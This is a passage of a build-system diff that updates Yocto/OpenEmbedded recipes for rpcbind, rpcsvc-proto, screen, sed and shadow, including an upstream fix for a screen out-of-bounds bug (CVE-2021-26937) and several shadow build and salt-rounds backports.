- -e 's,/sbin/,${sbindir}/,g' \
- ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
- chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
-}
-
-ALTERNATIVE_${PN} = "rpcinfo"
-ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
new file mode 100644
index 0000000000..dd89726afc
--- /dev/null
+++ b/meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb
@@ -0,0 +1,55 @@
+SUMMARY = "Universal Addresses to RPC Program Number Mapper"
+DESCRIPTION = "The rpcbind utility is a server that converts RPC \
+ program numbers into universal addresses."
+SECTION = "console/network"
+HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
+BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
+DEPENDS = "libtirpc quota"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
+ file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
+ file://init.d \
+ file://rpcbind.conf \
+ file://rpcbind_add_option_to_fix_port_number.patch \
+ file://0001-systemd-use-EnvironmentFile.patch \
+ "
+SRC_URI[sha256sum] = "5613746489cae5ae23a443bb85c05a11741a5f12c8f55d2bb5e83b9defeee8de"
+
+inherit autotools update-rc.d systemd pkgconfig update-alternatives
+
+PACKAGECONFIG ??= "tcp-wrappers"
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+
+INITSCRIPT_NAME = "rpcbind"
+INITSCRIPT_PARAMS = "start 12 2 3 4 5 . stop 60 0 1 6 ."
+
+SYSTEMD_SERVICE:${PN} = "rpcbind.service rpcbind.socket"
+
+inherit useradd
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --no-create-home --home-dir / \
+ --shell /bin/false --user-group rpc"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/, \
+ --without-systemdsystemunitdir, \
+ systemd \
+"
+
+EXTRA_OECONF += " --enable-warmstarts --with-rpcuser=rpc"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/init.d
+ sed -e 's,/etc/,${sysconfdir}/,g' \
+ -e 's,/sbin/,${sbindir}/,g' \
+ ${WORKDIR}/init.d > ${D}${sysconfdir}/init.d/rpcbind
+ chmod 0755 ${D}${sysconfdir}/init.d/rpcbind
+ install -m 0644 ${WORKDIR}/rpcbind.conf ${D}${sysconfdir}/rpcbind.conf
+}
+
+ALTERNATIVE:${PN} = "rpcinfo"
+ALTERNATIVE_LINK_NAME[rpcinfo] = "${bindir}/rpcinfo"
diff --git a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
index 5aff2b56a6..c08e9d52c3 100644
--- a/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
+++ b/meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb
@@ -19,7 +19,7 @@ PV = "1.4.2"
SRCREV = "6f54e54455c073d08a56ea627c6cd2355a40eb53"
-SRC_URI = "git://github.com/thkukuk/${BPN} \
+SRC_URI = "git://github.com/thkukuk/${BPN};branch=master;protocol=https \
file://0001-Use-cross-compiled-rpcgen.patch \
"
@@ -27,13 +27,13 @@ S = "${WORKDIR}/git"
inherit autotools gettext
-EXTRA_OEMAKE_class-native = " -C rpcgen"
+EXTRA_OEMAKE:class-native = " -C rpcgen"
-do_configure_prepend() {
+do_configure:prepend() {
touch ${S}/ABOUT-NLS
}
-do_install_append() {
+do_install:append() {
# They come from quota recipe
rm -rf ${D}${includedir}/rpcsvc/rquota.[hx]
}
diff --git a/meta/recipes-extended/screen/screen/CVE-2021-26937.patch b/meta/recipes-extended/screen/screen/CVE-2021-26937.patch
new file mode 100644
index 0000000000..983b35c1b0
--- /dev/null
+++ b/meta/recipes-extended/screen/screen/CVE-2021-26937.patch
@@ -0,0 +1,68 @@
+Description: [CVE-2021-26937] Fix out of bounds array access
+Author: Michael Schröder <mls@suse.de>
+Bug-Debian: https://bugs.debian.org/982435
+Bug: https://savannah.gnu.org/bugs/?60030
+Bug: https://lists.gnu.org/archive/html/screen-devel/2021-02/msg00000.html
+Bug-OSS-Security: https://www.openwall.com/lists/oss-security/2021/02/09/3
+Origin: https://lists.gnu.org/archive/html/screen-devel/2021-02/msg00010.html
+
+CVE: CVE-2021-26937
+Upstream-Status: Pending
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+--- a/encoding.c
++++ b/encoding.c
+@@ -43,7 +43,7 @@
+ # ifdef UTF8
+ static int recode_char __P((int, int, int));
+ static int recode_char_to_encoding __P((int, int));
+-static void comb_tofront __P((int, int));
++static void comb_tofront __P((int));
+ # ifdef DW_CHARS
+ static int recode_char_dw __P((int, int *, int, int));
+ static int recode_char_dw_to_encoding __P((int, int *, int));
+@@ -1263,6 +1263,8 @@
+ {0x30000, 0x3FFFD},
+ };
+
++ if (c >= 0xdf00 && c <= 0xdfff)
++ return 1; /* dw combining sequence */
+ return ((bisearch(c, wide, sizeof(wide) / sizeof(struct interval) - 1)) ||
+ (cjkwidth &&
+ bisearch(c, ambiguous,
+@@ -1330,11 +1332,12 @@
+ }
+
+ static void
+-comb_tofront(root, i)
+-int root, i;
++comb_tofront(i)
++int i;
+ {
+ for (;;)
+ {
++ int root = i >= 0x700 ? 0x801 : 0x800;
+ debug1("bring to front: %x\n", i);
+ combchars[combchars[i]->prev]->next = combchars[i]->next;
+ combchars[combchars[i]->next]->prev = combchars[i]->prev;
+@@ -1396,9 +1399,9 @@
+ {
+ /* full, recycle old entry */
+ if (c1 >= 0xd800 && c1 < 0xe000)
+- comb_tofront(root, c1 - 0xd800);
++ comb_tofront(c1 - 0xd800);
+ i = combchars[root]->prev;
+- if (c1 == i + 0xd800)
++ if (i == 0x800 || i == 0x801 || c1 == i + 0xd800)
+ {
+ /* completely full, can't recycle */
+ debug("utf8_handle_comp: completely full!\n");
+@@ -1422,7 +1425,7 @@
+ mc->font = (i >> 8) + 0xd8;
+ mc->fontx = 0;
+ debug3("combinig char %x %x -> %x\n", c1, c, i + 0xd800);
+- comb_tofront(root, i);
++ comb_tofront(i);
+ }
+
+ #else /* !UTF8 */
diff --git a/meta/recipes-extended/screen/screen_4.8.0.bb b/meta/recipes-extended/screen/screen_4.8.0.bb
index 4772eb6c7a..6d307d5abc 100644
--- a/meta/recipes-extended/screen/screen_4.8.0.bb
+++ b/meta/recipes-extended/screen/screen_4.8.0.bb
@@ -14,13 +14,14 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
DEPENDS = "ncurses virtual/crypt \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
-RDEPENDS_${PN} = "base-files"
+RDEPENDS:${PN} = "base-files"
SRC_URI = "${GNU_MIRROR}/screen/screen-${PV}.tar.gz \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'file://screen.pam', '', d)} \
file://0002-comm.h-now-depends-on-term.h.patch \
file://0001-fix-for-multijob-build.patch \
file://0001-Remove-more-compatibility-stuff.patch \
+ file://CVE-2021-26937.patch \
"
SRC_URI[md5sum] = "d276213d3acd10339cd37848b8c4ab1e"
@@ -34,17 +35,17 @@ PACKAGECONFIG[utempter] = "ac_cv_header_utempter_h=yes,ac_cv_header_utempter_h=n
EXTRA_OECONF = "--with-pty-mode=0620 --with-pty-group=5 --with-sys-screenrc=${sysconfdir}/screenrc \
${@bb.utils.contains('DISTRO_FEATURES', 'pam', '--enable-pam', '--disable-pam', d)}"
-do_install_append () {
+do_install:append () {
install -D -m 644 ${S}/etc/etcscreenrc ${D}/${sysconfdir}/screenrc
if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
install -D -m 644 ${WORKDIR}/screen.pam ${D}/${sysconfdir}/pam.d/screen
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q "^${bindir}/screen$" $D${sysconfdir}/shells || echo ${bindir}/screen >> $D${sysconfdir}/shells
}
-pkg_postrm_${PN} () {
+pkg_postrm:${PN} () {
printf "$(grep -v "^${bindir}/screen$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
}
diff --git a/meta/recipes-extended/sed/sed_4.8.bb b/meta/recipes-extended/sed/sed_4.8.bb
index 39e3a61df5..1f68214ae4 100644
--- a/meta/recipes-extended/sed/sed_4.8.bb
+++ b/meta/recipes-extended/sed/sed_4.8.bb
@@ -1,5 +1,6 @@
SUMMARY = "Stream EDitor (text filtering utility)"
HOMEPAGE = "http://www.gnu.org/software/sed/"
+DESCRIPTION = "sed (stream editor) is a non-interactive command-line text editor."
LICENSE = "GPLv3+"
LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e \
file://sed/sed.h;beginline=1;endline=15;md5=fb3c7e6fbca6f66943859153d4be8efe \
@@ -17,8 +18,8 @@ inherit autotools texinfo update-alternatives gettext ptest
PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
-RDEPENDS_${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
-RRECOMMENDS_${PN}-ptest_append_libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
+RDEPENDS:${PN}-ptest += "make gawk perl perl-module-filehandle perl-module-file-compare perl-module-file-find perl-module-file-temp perl-module-file-stat"
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = " locale-base-ru-ru locale-base-en-us locale-base-el-gr.iso-8859-7"
EXTRA_OECONF = "--disable-acl \
"
@@ -32,7 +33,7 @@ do_install () {
fi
}
-ALTERNATIVE_${PN} = "sed"
+ALTERNATIVE:${PN} = "sed"
ALTERNATIVE_LINK_NAME[sed] = "${base_bindir}/sed"
ALTERNATIVE_PRIORITY = "100"
@@ -62,4 +63,6 @@ do_install_ptest() {
-i ${D}${PTEST_PATH}/Makefile
}
-RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+RPROVIDES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sed', '', d)}"
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
index ab317b9aa0..95728bcd3f 100644
--- a/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
+++ b/meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch
@@ -1,4 +1,4 @@
-From fa2d9453656641002802d8165e80adb9e6a729d2 Mon Sep 17 00:00:00 2001
+From 30a3906a0a21120fa6bbc918b6258ab9303fbeaa Mon Sep 17 00:00:00 2001
From: Scott Garman <scott.a.garman@intel.com>
Date: Thu, 14 Apr 2016 12:28:57 +0200
Subject: [PATCH] Disable use of syslog for sysroot
@@ -19,12 +19,12 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
src/groupmems.c | 3 +++
src/groupmod.c | 3 +++
src/useradd.c | 3 +++
- src/userdel.c | 3 +++
+ src/userdel.c | 4 ++++
src/usermod.c | 3 +++
- 7 files changed, 21 insertions(+)
+ 7 files changed, 22 insertions(+)
diff --git a/src/groupadd.c b/src/groupadd.c
-index 2dd8eec..e9c4bb7 100644
+index d7f68b1..5fe5f43 100644
--- a/src/groupadd.c
+++ b/src/groupadd.c
@@ -34,6 +34,9 @@
@@ -38,7 +38,7 @@ index 2dd8eec..e9c4bb7 100644
#include <fcntl.h>
#include <getopt.h>
diff --git a/src/groupdel.c b/src/groupdel.c
-index f941a84..5a70056 100644
+index 5c89312..2aefc5a 100644
--- a/src/groupdel.c
+++ b/src/groupdel.c
@@ -34,6 +34,9 @@
@@ -52,7 +52,7 @@ index f941a84..5a70056 100644
#include <fcntl.h>
#include <grp.h>
diff --git a/src/groupmems.c b/src/groupmems.c
-index fc91c8b..2842514 100644
+index 654a8f3..6b2026b 100644
--- a/src/groupmems.c
+++ b/src/groupmems.c
@@ -32,6 +32,9 @@
@@ -66,7 +66,7 @@ index fc91c8b..2842514 100644
#include <getopt.h>
#include <grp.h>
diff --git a/src/groupmod.c b/src/groupmod.c
-index 1dca5fc..bc14438 100644
+index acd6f35..a2c5247 100644
--- a/src/groupmod.c
+++ b/src/groupmod.c
@@ -34,6 +34,9 @@
@@ -80,7 +80,7 @@ index 1dca5fc..bc14438 100644
#include <fcntl.h>
#include <getopt.h>
diff --git a/src/useradd.c b/src/useradd.c
-index 4af0f7c..1b7bf06 100644
+index 127177e..b80e505 100644
--- a/src/useradd.c
+++ b/src/useradd.c
@@ -34,6 +34,9 @@
@@ -94,21 +94,22 @@ index 4af0f7c..1b7bf06 100644
#include <ctype.h>
#include <errno.h>
diff --git a/src/userdel.c b/src/userdel.c
-index cc951e5..153e0be 100644
+index 79a7c89..c1e010a 100644
--- a/src/userdel.c
+++ b/src/userdel.c
-@@ -34,6 +34,9 @@
-
- #ident "$Id$"
+@@ -31,6 +31,10 @@
+ */
+ #include <config.h>
++
+/* Disable use of syslog since we're running this command against a sysroot */
+#undef USE_SYSLOG
+
#include <assert.h>
+ #include <dirent.h>
#include <errno.h>
- #include <fcntl.h>
diff --git a/src/usermod.c b/src/usermod.c
-index 05b9871..21c6da9 100644
+index 03bb9b9..e15fdd4 100644
--- a/src/usermod.c
+++ b/src/usermod.c
@@ -34,6 +34,9 @@
diff --git a/meta/recipes-extended/shadow/files/0001-Fix-out-of-tree-builds-with-respect-to-libsubid-incl.patch b/meta/recipes-extended/shadow/files/0001-Fix-out-of-tree-builds-with-respect-to-libsubid-incl.patch
new file mode 100644
index 0000000000..c577be6505
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-Fix-out-of-tree-builds-with-respect-to-libsubid-incl.patch
@@ -0,0 +1,114 @@
+From eced8077b57946fe0b723e7c6c510e8f344ce89b Mon Sep 17 00:00:00 2001
+From: Serge Hallyn <serge@hallyn.com>
+Date: Fri, 23 Jul 2021 17:51:13 -0500
+Subject: [PATCH] Fix out of tree builds with respect to libsubid includes
+
+There's a better way to do this, and I hope to clean that up,
+but this fixes out of tree builds for me right now.
+
+Closes #386
+
+Signed-off-by: Serge Hallyn <serge@hallyn.com>
+Upstream-Status: Backport [https://github.com/shadow-maint/shadow/commit/537b8cd90be7b47b45c45cfd27765ef85eb0ebf1]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ lib/Makefile.am | 2 ++
+ libmisc/Makefile.am | 2 +-
+ libsubid/Makefile.am | 4 ++--
+ src/Makefile.am | 6 ++++++
+ 4 files changed, 11 insertions(+), 3 deletions(-)
+
+diff --git a/lib/Makefile.am b/lib/Makefile.am
+index ecf3ee25..5ac2e111 100644
+--- a/lib/Makefile.am
++++ b/lib/Makefile.am
+@@ -10,6 +10,8 @@ if HAVE_VENDORDIR
+ libshadow_la_CPPFLAGS += -DVENDORDIR=\"$(VENDORDIR)\"
+ endif
+
++libshadow_la_CPPFLAGS += -I$(top_srcdir)
++
+ libshadow_la_SOURCES = \
+ commonio.c \
+ commonio.h \
+diff --git a/libmisc/Makefile.am b/libmisc/Makefile.am
+index 9766a7ec..9f237e0d 100644
+--- a/libmisc/Makefile.am
++++ b/libmisc/Makefile.am
+@@ -1,7 +1,7 @@
+
+ EXTRA_DIST = .indent.pro xgetXXbyYY.c
+
+-AM_CPPFLAGS = -I$(top_srcdir)/lib $(ECONF_CPPFLAGS)
++AM_CPPFLAGS = -I$(top_srcdir)/lib -I$(top_srcdir) $(ECONF_CPPFLAGS)
+
+ noinst_LTLIBRARIES = libmisc.la
+
+diff --git a/libsubid/Makefile.am b/libsubid/Makefile.am
+index 189165b0..cdc41fe6 100644
+--- a/libsubid/Makefile.am
++++ b/libsubid/Makefile.am
+@@ -19,8 +19,8 @@ MISCLIBS = \
+ $(LIBTCB)
+
+ libsubid_la_LIBADD = \
+- $(top_srcdir)/lib/libshadow.la \
+- $(top_srcdir)/libmisc/libmisc.la \
++ $(top_builddir)/lib/libshadow.la \
++ $(top_builddir)/libmisc/libmisc.la \
+ $(MISCLIBS) -ldl
+
+ AM_CPPFLAGS = \
+diff --git a/src/Makefile.am b/src/Makefile.am
+index 35027013..7c1a3491 100644
+--- a/src/Makefile.am
++++ b/src/Makefile.am
+@@ -10,6 +10,7 @@ sgidperms = 2755
+ AM_CPPFLAGS = \
+ -I${top_srcdir}/lib \
+ -I$(top_srcdir)/libmisc \
++ -I$(top_srcdir) \
+ -DLOCALEDIR=\"$(datadir)/locale\"
+
+ # XXX why are login and su in /bin anyway (other than for
+@@ -183,6 +184,7 @@ list_subid_ranges_LDADD = \
+ list_subid_ranges_CPPFLAGS = \
+ -I$(top_srcdir)/lib \
+ -I$(top_srcdir)/libmisc \
++ -I$(top_srcdir) \
+ -I$(top_srcdir)/libsubid
+
+ get_subid_owners_LDADD = \
+@@ -194,11 +196,13 @@ get_subid_owners_LDADD = \
+ get_subid_owners_CPPFLAGS = \
+ -I$(top_srcdir)/lib \
+ -I$(top_srcdir)/libmisc \
++ -I$(top_srcdir) \
+ -I$(top_srcdir)/libsubid
+
+ new_subid_range_CPPFLAGS = \
+ -I$(top_srcdir)/lib \
+ -I$(top_srcdir)/libmisc \
++ -I$(top_srcdir) \
+ -I$(top_srcdir)/libsubid
+
+ new_subid_range_LDADD = \
+@@ -210,6 +214,7 @@ new_subid_range_LDADD = \
+ free_subid_range_CPPFLAGS = \
+ -I$(top_srcdir)/lib \
+ -I$(top_srcdir)/libmisc \
++ -I$(top_srcdir) \
+ -I$(top_srcdir)/libsubid
+
+ free_subid_range_LDADD = \
+@@ -220,6 +225,7 @@ free_subid_range_LDADD = \
+
+ check_subid_range_CPPFLAGS = \
+ -I$(top_srcdir)/lib \
++ -I$(top_srcdir) \
+ -I$(top_srcdir)/libmisc
+
+ check_subid_range_LDADD = \
+--
+2.31.1
+
diff --git a/meta/recipes-extended/shadow/files/0001-libmisc-fix-default-value-in-SHA_get_salt_rounds.patch b/meta/recipes-extended/shadow/files/0001-libmisc-fix-default-value-in-SHA_get_salt_rounds.patch
new file mode 100644
index 0000000000..2c9b1d06cd
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-libmisc-fix-default-value-in-SHA_get_salt_rounds.patch
@@ -0,0 +1,64 @@
+From 234e8fa7b134d1ebabfdad980a3ae5b63c046c62 Mon Sep 17 00:00:00 2001
+From: Mike Gilbert <floppym@gentoo.org>
+Date: Sat, 14 Aug 2021 13:24:34 -0400
+Subject: [PATCH] libmisc: fix default value in SHA_get_salt_rounds()
+
+If SHA_CRYPT_MIN_ROUNDS and SHA_CRYPT_MAX_ROUNDS are both unspecified,
+use SHA_ROUNDS_DEFAULT.
+
+Previously, the code fell through, calling shadow_random(-1, -1). This
+ultimately set rounds = (unsigned long) -1, which ends up being a very
+large number! This then got capped to SHA_ROUNDS_MAX later in the
+function.
+
+The new behavior matches BCRYPT_get_salt_rounds().
+
+Bug: https://bugs.gentoo.org/808195
+Fixes: https://github.com/shadow-maint/shadow/issues/393
+
+Upstream-Status: Backport [https://github.com/shadow-maint/shadow/commit/234e8fa7b134d1ebabfdad980a3ae5b63c046c62]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ libmisc/salt.c | 21 +++++++++++----------
+ 1 file changed, 11 insertions(+), 10 deletions(-)
+
+diff --git a/libmisc/salt.c b/libmisc/salt.c
+index 91d528fd..30eefb9c 100644
+--- a/libmisc/salt.c
++++ b/libmisc/salt.c
+@@ -223,20 +223,21 @@ static /*@observer@*/const unsigned long SHA_get_salt_rounds (/*@null@*/int *pre
+ if ((-1 == min_rounds) && (-1 == max_rounds)) {
+ rounds = SHA_ROUNDS_DEFAULT;
+ }
++ else {
++ if (-1 == min_rounds) {
++ min_rounds = max_rounds;
++ }
+
+- if (-1 == min_rounds) {
+- min_rounds = max_rounds;
+- }
++ if (-1 == max_rounds) {
++ max_rounds = min_rounds;
++ }
+
+- if (-1 == max_rounds) {
+- max_rounds = min_rounds;
+- }
++ if (min_rounds > max_rounds) {
++ max_rounds = min_rounds;
++ }
+
+- if (min_rounds > max_rounds) {
+- max_rounds = min_rounds;
++ rounds = (unsigned long) shadow_random (min_rounds, max_rounds);
+ }
+-
+- rounds = (unsigned long) shadow_random (min_rounds, max_rounds);
+ } else if (0 == *prefered_rounds) {
+ rounds = SHA_ROUNDS_DEFAULT;
+ } else {
+--
+2.17.1
+
diff --git a/meta/recipes-extended/shadow/files/0001-libsubid-link-to-PAM-libraries.patch b/meta/recipes-extended/shadow/files/0001-libsubid-link-to-PAM-libraries.patch
new file mode 100644
index 0000000000..ea7a99dbf7
--- /dev/null
+++ b/meta/recipes-extended/shadow/files/0001-libsubid-link-to-PAM-libraries.patch
@@ -0,0 +1,31 @@
+From 4f44617af3a0c59be267ac5fcc33586e3783f5e6 Mon Sep 17 00:00:00 2001
+From: Xi Ruoyao <xry111@mengyan1223.wang>
+Date: Fri, 23 Jul 2021 14:38:08 +0800
+Subject: [PATCH] libsubid: link to PAM libraries
+
+libsubid.so links to libmisc.a, which contains several routines referring to
+PAM functions.
+
+Upstream-Status: Backport [https://github.com/shadow-maint/shadow/commit/f4a84efb468b8be21be124700ce35159c444e9d6]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ libsubid/Makefile.am | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/libsubid/Makefile.am b/libsubid/Makefile.am
+index cdc41fe6..99308c1f 100644
+--- a/libsubid/Makefile.am
++++ b/libsubid/Makefile.am
+@@ -16,7 +16,8 @@ MISCLIBS = \
+ $(LIBCRYPT) \
+ $(LIBACL) \
+ $(LIBATTR) \
+- $(LIBTCB)
++ $(LIBTCB) \
++ $(LIBPAM)
+
+ libsubid_la_LIBADD = \
+ $(top_builddir)/lib/libshadow.la \
+--
+2.31.1
+
diff --git a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch b/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
deleted file mode 100644
index c6332e4f76..0000000000
--- a/meta/recipes-extended/shadow/files/0002-Allow-for-setting-password-in-clear-text.patch
+++ /dev/null
@@ -1,301 +0,0 @@
-From a7d995228491ad5255ad86c1f04ba071f6880897 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Sat, 16 Nov 2013 15:27:47 +0800
-Subject: [PATCH] Allow for setting password in clear text
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/Makefile.am | 8 ++++----
- src/groupadd.c | 20 +++++++++++++++-----
- src/groupmod.c | 20 +++++++++++++++-----
- src/useradd.c | 21 +++++++++++++++------
- src/usermod.c | 20 +++++++++++++++-----
- 5 files changed, 64 insertions(+), 25 deletions(-)
-
-diff --git a/src/Makefile.am b/src/Makefile.am
-index f31fd7a..4a317a3 100644
---- a/src/Makefile.am
-+++ b/src/Makefile.am
-@@ -103,10 +103,10 @@ chsh_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT_NOPAM)
- chpasswd_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
- expiry_LDADD = $(LDADD) $(LIBECONF)
- gpasswd_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBCRYPT) $(LIBECONF)
--groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-+groupadd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
- groupdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- groupmems_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
--groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-+groupmod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF) $(LIBCRYPT)
- grpck_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- grpconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
- grpunconv_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-@@ -127,9 +127,9 @@ su_SOURCES = \
- suauth.c
- su_LDADD = $(LDADD) $(LIBPAM) $(LIBAUDIT) $(LIBCRYPT_NOPAM) $(LIBSKEY) $(LIBMD) $(LIBECONF)
- sulogin_LDADD = $(LDADD) $(LIBCRYPT) $(LIBECONF)
--useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
-+useradd_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
- userdel_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBECONF)
--usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF)
-+usermod_LDADD = $(LDADD) $(LIBPAM_SUID) $(LIBAUDIT) $(LIBSELINUX) $(LIBSEMANAGE) $(LIBACL) $(LIBATTR) $(LIBECONF) $(LIBCRYPT)
- vipw_LDADD = $(LDADD) $(LIBAUDIT) $(LIBSELINUX) $(LIBECONF)
-
- install-am: all-am
-diff --git a/src/groupadd.c b/src/groupadd.c
-index e9c4bb7..d572c00 100644
---- a/src/groupadd.c
-+++ b/src/groupadd.c
-@@ -127,9 +127,10 @@ static /*@noreturn@*/void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to create groups with duplicate\n"
- " (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD use this encrypted password for the new group\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD use this clear password for the new group\n"), usageout);
- (void) fputs (_(" -r, --system create a system account\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
-- (void) fputs (_(" -P, --prefix PREFIX_DIR directory prefix\n"), usageout);
-+ (void) fputs (_(" -A, --prefix PREFIX_DIR directory prefix\n"), usageout);
- (void) fputs ("\n", usageout);
- exit (status);
- }
-@@ -391,13 +392,14 @@ static void process_flags (int argc, char **argv)
- {"key", required_argument, NULL, 'K'},
- {"non-unique", no_argument, NULL, 'o'},
- {"password", required_argument, NULL, 'p'},
-+ {"clear-password", required_argument, NULL, 'P'},
- {"system", no_argument, NULL, 'r'},
- {"root", required_argument, NULL, 'R'},
-- {"prefix", required_argument, NULL, 'P'},
-+ {"prefix", required_argument, NULL, 'A'},
- {NULL, 0, NULL, '\0'}
- };
-
-- while ((c = getopt_long (argc, argv, "fg:hK:op:rR:P:",
-+ while ((c = getopt_long (argc, argv, "fg:hK:op:P:rR:A:",
- long_options, NULL)) != -1) {
- switch (c) {
- case 'f':
-@@ -449,12 +451,20 @@ static void process_flags (int argc, char **argv)
- pflg = true;
- group_passwd = optarg;
- break;
-+ case 'P':
-+ pflg = true;
-+ group_passwd = pw_encrypt (optarg, crypt_make_salt (NULL, NULL));
-+ break;
- case 'r':
- rflg = true;
- break;
- case 'R': /* no-op, handled in process_root_flag () */
- break;
-- case 'P': /* no-op, handled in process_prefix_flag () */
-+ case 'A': /* no-op, handled in process_prefix_flag () */
-+ fprintf (stderr,
-+ _("%s: -A is deliberately not supported \n"),
-+ Prog);
-+ exit (E_BAD_ARG);
- break;
- default:
- usage (E_USAGE);
-@@ -588,7 +598,7 @@ int main (int argc, char **argv)
- (void) textdomain (PACKAGE);
-
- process_root_flag ("-R", argc, argv);
-- prefix = process_prefix_flag ("-P", argc, argv);
-+ prefix = process_prefix_flag ("-A", argc, argv);
-
- OPENLOG ("groupadd");
- #ifdef WITH_AUDIT
-diff --git a/src/groupmod.c b/src/groupmod.c
-index bc14438..25ccb44 100644
---- a/src/groupmod.c
-+++ b/src/groupmod.c
-@@ -138,8 +138,9 @@ static void usage (int status)
- (void) fputs (_(" -o, --non-unique allow to use a duplicate (non-unique) GID\n"), usageout);
- (void) fputs (_(" -p, --password PASSWORD change the password to this (encrypted)\n"
- " PASSWORD\n"), usageout);
-+ (void) fputs (_(" -P, --clear-password PASSWORD change the password to this clear PASSWORD\n"), usageout);
- (void) fputs (_(" -R, --root CHROOT_DIR directory to chroot into\n"), usageout);
